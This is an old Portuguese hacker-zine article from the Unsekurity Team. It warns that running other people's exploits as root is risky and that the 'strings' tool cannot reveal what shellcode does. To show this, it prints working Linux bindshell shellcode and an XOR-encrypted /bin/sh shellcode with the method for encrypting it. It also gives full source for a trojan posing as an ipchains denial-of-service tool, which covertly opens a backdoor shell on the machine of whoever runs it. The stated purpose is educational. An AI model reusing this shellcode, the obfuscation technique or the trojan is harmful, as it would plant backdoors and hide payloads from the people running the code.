************************************************************************** *************************** UNSEKURITY TEAM ****************************** ************************************************************************** Artigo para expor o perigo que eh executar exploits de terceiros. Desenvolvido por Nash Leon vulgo coracaodeleao. nashleon@yahoo.com.br Este e outros artigos podem ser obtidos em: http://unsekurity.virtualave.net/ OBS: Este texto possui somente propositos educacionais.O autor nao se responsabiliza pelo mau uso dos dados e exemplos aqui fornecido. ****************************** * PASSANDO POR STRINGS * ****************************** ---------------------------------- INDICE ---------------------------------- 1 - INTRODUCAO 1.1 - O Perigo 2 - EXEMPLOS DE SHELLCODES 2.1 - Bindshell 2.2 - Encriptando um Shellcode 2.3 - Exemplo de Trojan Horse 3 - TERMINANDO 3.1 - Links e Referencias 3.2 - Consideracoes Finais -------------------------------------------------------------------------- --------------- 1 - INTRODUCAO | --------------- Algum tempo atras foi discutido numa mail list de seguranca os perigos que um admin ou mesmo um kiddie se expoe quando executa exploits de terceiros como root.Uma solucao proposta foi usar o programa "strings" para analisar o conteudo do shellcode.Mas a realidade eh que shellcodes encriptados jah existem ha varios anos, de modo que confiar no programa strings eh assumir um risco incalculavel.Escritores(programadores) de shellcodes sabem realmente que nao se deve executar exploits de terceiros, e no decorrer deste artigo, isso serah bem evidenciado.Nao pretendo ensinar a escrever shellcodes, jah publiquei dois tutoriais sobre escrita basica de shellcodes em arquitetura i386 para Linux.Qualquer duvida consulte-os, bem como os links que disponibilizo nos mesmos.Conhecimentos basicos de Linux e C se faz necessario. 1.1 - O Perigo --------------- Escrever shellcodes nao eh nada facil, mas tambem nao eh coisa de outro mundo.Essa tecnica tem sido praticada e dominada por muita, muita gente. Um cracker poderia facilmente comprometer um sistema atraves de shellcodes em exploits para buffer overflows.O que veremos aqui eh somente os trojans. Estes trojans podem vir inseridos em exploits para buffer overflows, ou mesmo em Exploits Denial of Services(dentro dos datagramas).Um administrador de redes com boa experiencia conhece esse risco e procura tornar mais pessoas concientes quanto a esse perigo.Eh comum nas redes brasileiras, administradores de rede e analistas de seguranca nao possuirem conhecimentos basicos de Assembly,escrita de shellcodes e C, executando testes com exploits difundidos na Internet.O que vou expor nesse artigo eh um fato, voce executando exploits de terceiros sem ter plena conciencia do codigo estah sim correndo risco! --------------------------- 2 - EXEMPLOS DE SHELLCODES | --------------------------- Nesse item, irei disponibilizar alguns esquemas de shellcodes e trojans visando demonstrar de forma clara o perigo no uso de programas de terceiros. 2.1 - Bindshell ---------------- Existe um shellcode muito conhecido e difundido que 'passa' pela percepcao do comando 'strings' facilmente.Se trata do shellcode que binda uma shell a uma porta do Taeho Oh: ----------------------------bindshell.c---------------------------------- /* Shellcode que binda uma shell a uma porta alta(30464). */ #include #include char shellcode[]= "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0" "\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06" "\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89" "\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31" "\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80" "\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04" "\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd" "\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80" "\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f" "\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31" "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff"; main(){ int *retorno; retorno = (int *)&retorno + 2; (*retorno) = (int)shellcode; } ---------------------------------------------------------------------- Compile esse shellcode, execute-o e depois analise com o comando strings. Voce verah que somente por esse comando voce nao estaria apto a reconhecer o que de fato ele estarah executando.Executando esse shellcode como usuario root ou nao, o efeito dele eh o mesmo, pois portas altas(maiores que 1024) qualquer usuario pode abrir.Esse exploit foi(tem sido) muito usado em trojans de exploits.Mas, no fundo, o perigo representado por ele, eh muito superficial quando comparado a outros, alem de possuir suas limitacoes. 2.2 - Encriptando um Shellcode ------------------------------- Uma tecnica usada para 'fugir' da percepcao do comando strings, eh a encriptacao do shellcode.O comando strings procura ver as strings que estao dentro do shellcode, e o que ocorre quando se encripta um shellcode, eh que a string que aparece usando o comando 'strings' eh algo ininteligivel. Veremos alguns exemplos de shellcodes usando a criptografia de manipulacao de bits XOR. A criptografia de manipulacao de bits consiste tao somente em alterar ou inverter determinados bits atraves de operadores logicos.O operador logico XOR eh capaz de realizar uma operacao envolvendo os bits de um determinado caracter, ou instrucao, e uma tabela verdade.O XOR(ou exclusivo) obedece a seguinte tabela verdade: ^ | 0 | 1 ---------- 0 | 0 | 1 1 | 1 | 0 Em outras palavras, o resultado do XOR eh verdade se e somente se um operando eh verdadeiro e o outro eh falso.Isto dah ao XOR uma propriedade unica; se voce aplicar XOR a um byte com outro byte chamado 'chave', e aplicar o resultado desta operacao a uma nova operacao XOR com a mesma chave, o resultado serah o byte original.Por exemplo: 1 1 0 1 1 0 0 1 --------------- ^ 0 1 0 1 0 0 1 1 (Chave) | ------------------------------------ | 1 0 0 0 1 0 1 0 | | _______ Sao iguais. | 1 0 0 0 1 0 1 0 | ^ 0 1 0 1 0 0 1 1 (Chave) | ------------------------------------ | 1 1 0 1 1 0 0 1 --------------- Para encriptar um shellcode a partir de um shellcode pre-definido, devemos seguir os seguintes passos: + Pegar a representacao binaria de cada caracter do comando a executar: / -> 101111 b -> 1100010 i -> 1101001 n -> 1101110 / -> 101111 s -> 1110011 h -> 1101000 + Pegar a representacao binaria da chave a ser usada para criptografar: U -> 1010101 Escolhi U por ser a inicial do Unsekurity Team..:). Sua representacao em hexadecimal eh 55. + Efetuar uma comparacao com base na tabela verdade entre cada binario do caracter da string do comando desejado mais a chave a ser usada e pegar assim o binario correspondente: / -> 101111 U -> 1010101 --------------- 1111010 -> 7A em hexa, z em ascii. b -> 1100010 U -> 1010101 --------------- 0110111 -> 37 em hexa, 7 em ascii. i -> 1101001 U -> 1010101 --------------- 0111101 -> 3C em hexa, < em ascii. n -> 1101110 U -> 1010101 --------------- 0111011 -> 3B em hexa, ; em ascii. / -> 101111 U -> 1010101 --------------- 1111010 -> 7A em hexa, z em ascii. s -> 1110011 U -> 1010101 --------------- 0100110 -> 26 em hexa, & em ascii. h -> 1101000 U -> 1010101 --------------- 0111101 -> 3D em hexa, = em ascii. Entao, a comparacao da string antes e depois segue abaixo: Antes Depois ------- --------- /bin/sh z7<;z&= Esquisito, nao? Vejamos como fazer um shellcode para isso com base no shellcode feito pelo lamagra: xorl %eax,%eax # Reseta EAX jmp 0x22 # Salta para 0x22 popl %ebx # retira EBX(string) do stack. movl 8(%ebx),%edx # copia string encriptada para EDX. xor %edx,(%ebx) # OU logico em EDX e 0(EBX). xor %edx,4(%ebx) # Desencripta o shellcode xor %edx,%edx # Reseta EDX. movl %ebx,0x8(%esp) # copia /bin/sh para 0x8(%esp) movl %edx,0xc(%esp) # copia /bin/sh + null word long p/ 0xc(%esp) movb $0xb,%al # copia execve(11) para AL. leal 0x8(%esp),%ecx # copia o end. de /bin/sh sobre ECX. int $0x80 # Sai para modo kernel. xorl %ebx,%ebx # Reseta EBX. movl %ebx,%eax # copia EBX para EAX. incl %eax # incrementa EAX(1 = exit). int $0x80 # sai para modo kernel. call -0x27 # chama -0x27. .string "\x7a\x37\x3c\x3b\x7a\x26\x3d\x55\x55\x55\x55\x55" Veremos entao como fica o shellcode num .c: ----------------------------- nlscrypt.c ----------------------------------- /* Shellcode encriptado com base no do lamagra. Desenvolvido por Nash Leon. nashleon@yahoo.com.br */ char shellcode[] = "\x31\xc0\xeb\x22\x5b\x8b\x53\x08\x31\x13\x31\x53\x04\x31\xd2\x89" "\x5c\x24\x08\x89\x54\x24\x0c\xb0\x0b\x8d\x4c\x24\x08\xcd\x80\x31" "\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff" "\x7a\x37\x3c\x3b\x7a\x26\x3d\x55" /* /bin/sh encriptado */ "\x55\x55\x55\x55"; /* Chave conversora */ main(){ int *retorno; retorno = (int *)&retorno + 2; (*retorno) = (int)shellcode; } ---------------------------------------------------------------------------- Compile ele normalmente e em seguida use o comando strings.Verah que o que aparece eh o seguinte: .... GLIBC_2.0 PTRh z7<;z&=UUUUU init.c ... O que interessa eh a seguinte linha 'z7<;z&=UUUUU'.Para quem manja ou nao de criptografia fica meio complicado realmente saber o que se estah executando atraves de um shellcode deste tipo. Esta eh a criptografia mais basica que existe.Existem 'permutacoes' que envolvem os varios tipos de criptografia por manipulacao de bits que realmente dificulta ainda mais ter a 'certeza' do que o shellcode realmente estah executando. Abaixo segue um escopo deste programa em ASM, mais detalhado para facilitar ainda mais a compreensao: ----------------------------- sc_escopo.s -------------------------------- .data normal: .string "\x7a\x37\x3c\x3b\x7a\x26\x3d\x55\x55\x55\x55" .text .align 4 _start: movl $normal, %ebx # Copia a string toda para EBX. movl 7(%ebx),%edx # copia /bin/sh encriptado para EDX. xor %edx,0(%ebx) # xor em EDX e EBX + 0. xor %edx,4(%ebx) # desencripta. xor %edx,%edx # reseta EDX. movl %ebx,0x7(%esp) # cp /bin/sh para EBX. movl $0x0,0xb(%esp) # cp NULL para 0xb(%esp). movb $0xb,%al # execve() leal 0x7(%esp),%ecx # copia endereco de /bin/sh para ECX. int $0x80 # Sai para modo kernel. movl $0x0, %ebx # movl $0x1, %eax # exit(0) int $0x80 # Sai para modo kernel. --------------------------------------------------------------------------- Se quiser testar o esquema acima, execute: # as -o sc_escopo.o sc_escopo.s # ld -s -o sc_escopo sc_escopo.o # ./sc_escopo Lembrando que o escopo acima eh soh para demonstracao, eu disponibilizei um texto com alguns exemplos em ASM para fucadores que pode ser obtido na pagina do Unsekurity Team, lah existem detalhes quanto a escrever programas em Assembly usando o GCC, o exemplo acima estah em GAS(GNU Assembler), nao consegui porta-lo para o GCC, creio que exista um pequeno problema com 'xor %edx, 0(%ebx)', nao tive tempo para analisar isto. 2.3 - Exemplo de Trojan Horse ------------------------------ Os possiveis esquemas usando trojans em shellcodes sao infindaveis. Existem trojans super maldosos, mas por razoes eticas, irei ficar somente num simples exemplo nao tao malicioso.Mas se voce jah viu acima o esquema para criptografar um shellcode, entao, jah sabe perfeitamente que eh possivel ir bem mais longe.Abaixo segue um exemplo de trojan horse comum que eu jah havia disponibilizado no tutorial sobre backdoors e trojans horse: ------------------------------ trojan.c -------------------------------- /* EXEMPLO DE TROJAN HORSE VIA DADOS EM HEXADECIMAL. FEITO POR NASHLEON PARA TUTORIAL SOBRE TROJANS. nashleon@yahoo.com.br. O tutorial pode ser encontrado em: http://unsekurity.virtualave.net/ Esse Trojan segue em "anexo" dentro de um pseudo-datagrama. Como esse exemplo de DoS eh RAW Sockets, necessita ser root. Isso expoe o perigo eminente de nao saber o que se estah executando. Esse programa possui somente propositos educacionais. */ /* Aqui comeca a "brincadeira" !! Programa Denial Of Service para "ipchains". Derruba qualquer sistema Linux com kernel ateh "2.3.39". Ele envia um datagrama que explora o bug da funcao get_data() do ipfw.Se o sistema nao tiver com firewall, ele derruba do mesmo jeito! */ #include #include #include #include #include #include #include #include #include #define ERRO -1 #define TAM_IPHDR sizeof(struct iphdr) #define TAM_ICMPHDR sizeof(struct icmphdr) #define NUM_PAC 100 char datagrama[]= "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0" "\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06" "\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89" "\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31" "\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80" "\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04" "\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd" "\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80" "\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f" "\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31" "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff"; typedef void (*DoS)(); main(int argc, char *argv[]){ int i, Meusocket,num_pac, id, seq; char *hosthack, *alvo; struct sockaddr_in vitima; struct sockaddr_in hacker; unsigned long int origem; unsigned long int destino; DoS envia; if(argc < 3){ printf("Programa DoS para Ipchains!!\n"); printf("Uso: %s \n",argv[0]); exit(0); } if(getuid() != 0){ printf("Esse programa usa RAW SOCKS, necessita ser root!!\n"); exit(0); } hosthack = argv[1]; alvo = argv[2]; num_pac = NUM_PAC; Meusocket = socket(AF_INET,SOCK_RAW,1); if(Meusocket < 0){ fprintf(stderr,"Erro em socket() mano!!\n"); exit(ERRO); } vitima.sin_family = AF_INET; vitima.sin_addr.s_addr = inet_addr(alvo); bzero(&(vitima.sin_zero), 8); memset(argv[0],0,100); hacker.sin_family = AF_INET; hacker.sin_addr.s_addr = inet_addr(hosthack); bzero(&(hacker.sin_zero),8); origem = hacker.sin_addr.s_addr; destino = vitima.sin_addr.s_addr; id = 0; seq = 0; for(i = 0; i < num_pac; i++){ icmp_echo(Meusocket, origem, destino, id,seq,datagrama,sizeof(datagrama)); printf("."); } printf("\nPacotes Enviados com sucesso!!\n"); envia=(DoS)(datagrama); envia(); return 0; } /* Checksum */ unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } icmp_echo(int Meusocket, unsigned long int origem, unsigned long int destino, int id, int seq, char *data, unsigned int datasize) { unsigned char *pacote; unsigned char *icmpdata; struct iphdr *ip; struct icmphdr *icmp; struct sockaddr_in vitima; int N; pacote = (char *)malloc(TAM_IPHDR + TAM_ICMPHDR + datasize + 1); if (pacote == NULL) { perror("malloc"); exit(ERRO); } ip = (struct iphdr *)pacote; icmp = (struct icmphdr *)(pacote + TAM_IPHDR); icmpdata = (char *)(pacote + TAM_IPHDR + TAM_ICMPHDR); ip->saddr = origem; ip->daddr = destino; ip->version = 4; ip->ihl = 5; ip->ttl = 255; ip->protocol = 1; ip->tot_len = htons(TAM_IPHDR + TAM_ICMPHDR + datasize); ip->tos = 0; ip->id = 0; ip->frag_off = 0; ip->check = 0; ip->check = in_cksum(ip, TAM_IPHDR); icmp->type = 8; icmp->code = 0; icmp->checksum = 0; icmp->un.echo.id = id; icmp->un.echo.sequence = seq; memcpy(icmpdata, data, datasize); icmp->checksum = in_cksum(icmp, TAM_ICMPHDR + datasize); vitima.sin_addr.s_addr = ip->daddr; vitima.sin_family = AF_INET; N =sendto(Meusocket, pacote, TAM_IPHDR + TAM_ICMPHDR + datasize, 0,(struct sockaddr *)&vitima, sizeof(struct sockaddr)); if (N == ERRO) { perror("sendto()"); free(pacote); exit(ERRO); } free(pacote); } -------------------------------------------------------------------------- Este eh um exemplo que se utilizada de um datagrama.O shellcode eh o do Taeho Oh, e a porta eh a padrao, amplamente difundida na WEB.Eu havia falado que iria disponibilizar um 'trojan pesado' encriptado, mas achei melhor nao, deixa fluir mais a divulgacao dos tutoriais, ainda pretendo dar continuidade ao Tutorial de Escrita de Shellcodes, talvez, dependendo da situacao eu venha a disponibilizar algo mais quente lah, mas entendendo a logica que envolve a encriptacao, voce estarah apto a escrever shellcodes trojans mais perigos, mas lembre-se: "NAO FACA BOBAGENS". Recomendo a leitura da primeira parte do Tutorial de Backdoors e Trojans Horses para entender o porque de se evitar usar 'Trojans Horses' em atividades fucadoras. --------------- 3 - TERMINANDO | --------------- O que eu espero ter ficado claro, eh que voce nao deve ir executando exploits de terceiros como root.Nao confie no comando 'strings', vah mais alem, use-o e se voce perceber que um shellcode estah encriptado pense seriamente se vale a pena ou nao correr o risco.Acrescente um alias em seu sistema proibindo a execucao de '/bin/rm -rf /' ou qualquer outro programa nocivo ao seu sistema,talvez um redirecionamento seja uma boa. Execute sempre os programas como usuario comum antes, mesmo que este requira ser root, para que possa analisar o que de fato estah acontecendo em seu sistema.O mais importante ao meu ver eh analisar o codigo, fique atento as chamadas das funcoes, e o relacionamento de ponteiros com o shellcode.Aprenda mano!! Aprendendo voce nao necessitarah executar exploits de terceiros. 3.1 - Links e Referencias -------------------------- Recomendo a leitura dos dois tutoriais basicos de escrita de shellcodes e do texto com exemplos codigos Assembly feito por mim, que podem ser encontrados em: http://unsekurity.virtualave.net/ * Mais sobre Shellcode: http://www.phrack.com/ -> Procure P49-14. http://www.bufferoverflow.org/ -> Procure o tool sc.tgz. http://packetstorm.securify.com/ -> Procure por shellcode SDI. Procure por adv.buffer.overflow.txt. * Home Page Atual do Unsekurity Team: http://unsekurity.virtualave.net/ * Outros Links Interessantes: http://www.hacker.com.br/ http://www.taldowin.com.br/ http://www.securenet.com.br/ http://www.absoluta.org/ http://www.bufferoverflow.org/ 3.2 - Consideracoes Finais --------------------------- Alguns mitos estao sendo desmistificados.. Como tenho dito, aos poucos a gente vai demonstrando a inutilidade de algumas 'ferramentas de seguranca', fique atento aos artigos do Unsekurity Team, em breve deve ser disponibilizado mais material.A recepcao ao 'trabalho' que o Unsekurity Team vem desenvolvendo tem sido boa, as criticas tambem, muito construtivas, e temos amadurecido cada vez mais.Temos muito a passar ainda, e aprender tambem, soh que o inimigo tempo tem desgastado a todos.Temos priorizado algumas coisas, entao, amigo, se voce estah a espera de algum txt, seja paciente.De uma olhada no Forum do Unsekurity Team, lah, estamos passando URLs aonde se pode achar material sobre varias coisas, inclusive coisas mais avancadas sobre buffer overflows, Assembly e etc. Gostaria de Agradecer ao pessoal do Unsekurity Team e a todos que tem entrado em contato comigo, seja via e-mail ou irc. Um Abraco. Nash Leon --------------------------------- EOF ------------------------------------